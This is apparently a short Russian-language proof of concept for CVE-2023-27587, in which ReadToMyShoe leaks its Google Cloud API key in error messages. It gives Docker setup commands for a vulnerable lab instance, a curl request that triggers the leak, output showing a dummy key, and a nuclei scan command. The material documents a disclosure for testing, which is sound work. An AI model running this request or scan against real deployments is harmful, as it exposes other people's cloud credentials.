
Простой PoC для CVE-2023-27587
Простое PoC для CVE-2023-27587
ReadtoMyShoe (RTMS) — это веб-приложение (rust, yew и axum), которое позволяет загружать статьи (по URL или через прямой ввод) и слушать их позже.
Если при добавлении статьи возникает ошибка, веб-сайт показывает пользователю сообщение об ошибке. Если ошибка исходит от запроса Google Cloud TTS, то она будет содержать полный URL запроса. Этот URL содержит API-ключ Google Cloud.
$ git clone https://github.com/rozbb/readtomyshoe.git
$ cd readtomyshoe && git checkout v0.2.0
$ echo "GCP_KEY_LEAKED_TEST" > server/gcp_api.key
$ DOCKER_BUILDKIT=1 docker build -t readtomyshoe-vul .
$ docker run -p 9382:9382 readtomyshoe-vul
Ключ раскрывается только при возникновении ошибки в вызове GCP!
curl 'http://192.168.15.201:9382/api/add-article-by-text' -X POST \
-H 'Accept-Encoding: gzip, deflate' \
-H 'content-type: application/json' \
--data-raw '{"title":"Kernsicherheitstest","body":"Kernsicherheitstest"}'
TTS failed: TTS request failed
Caused by:
HTTP status client error (400 Bad Request) for url (https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=GCP_KEY_LEAKED_TEST%0A)

$ nuclei -t cves/2023/CVE-2023-27587.yaml -u http://<host>
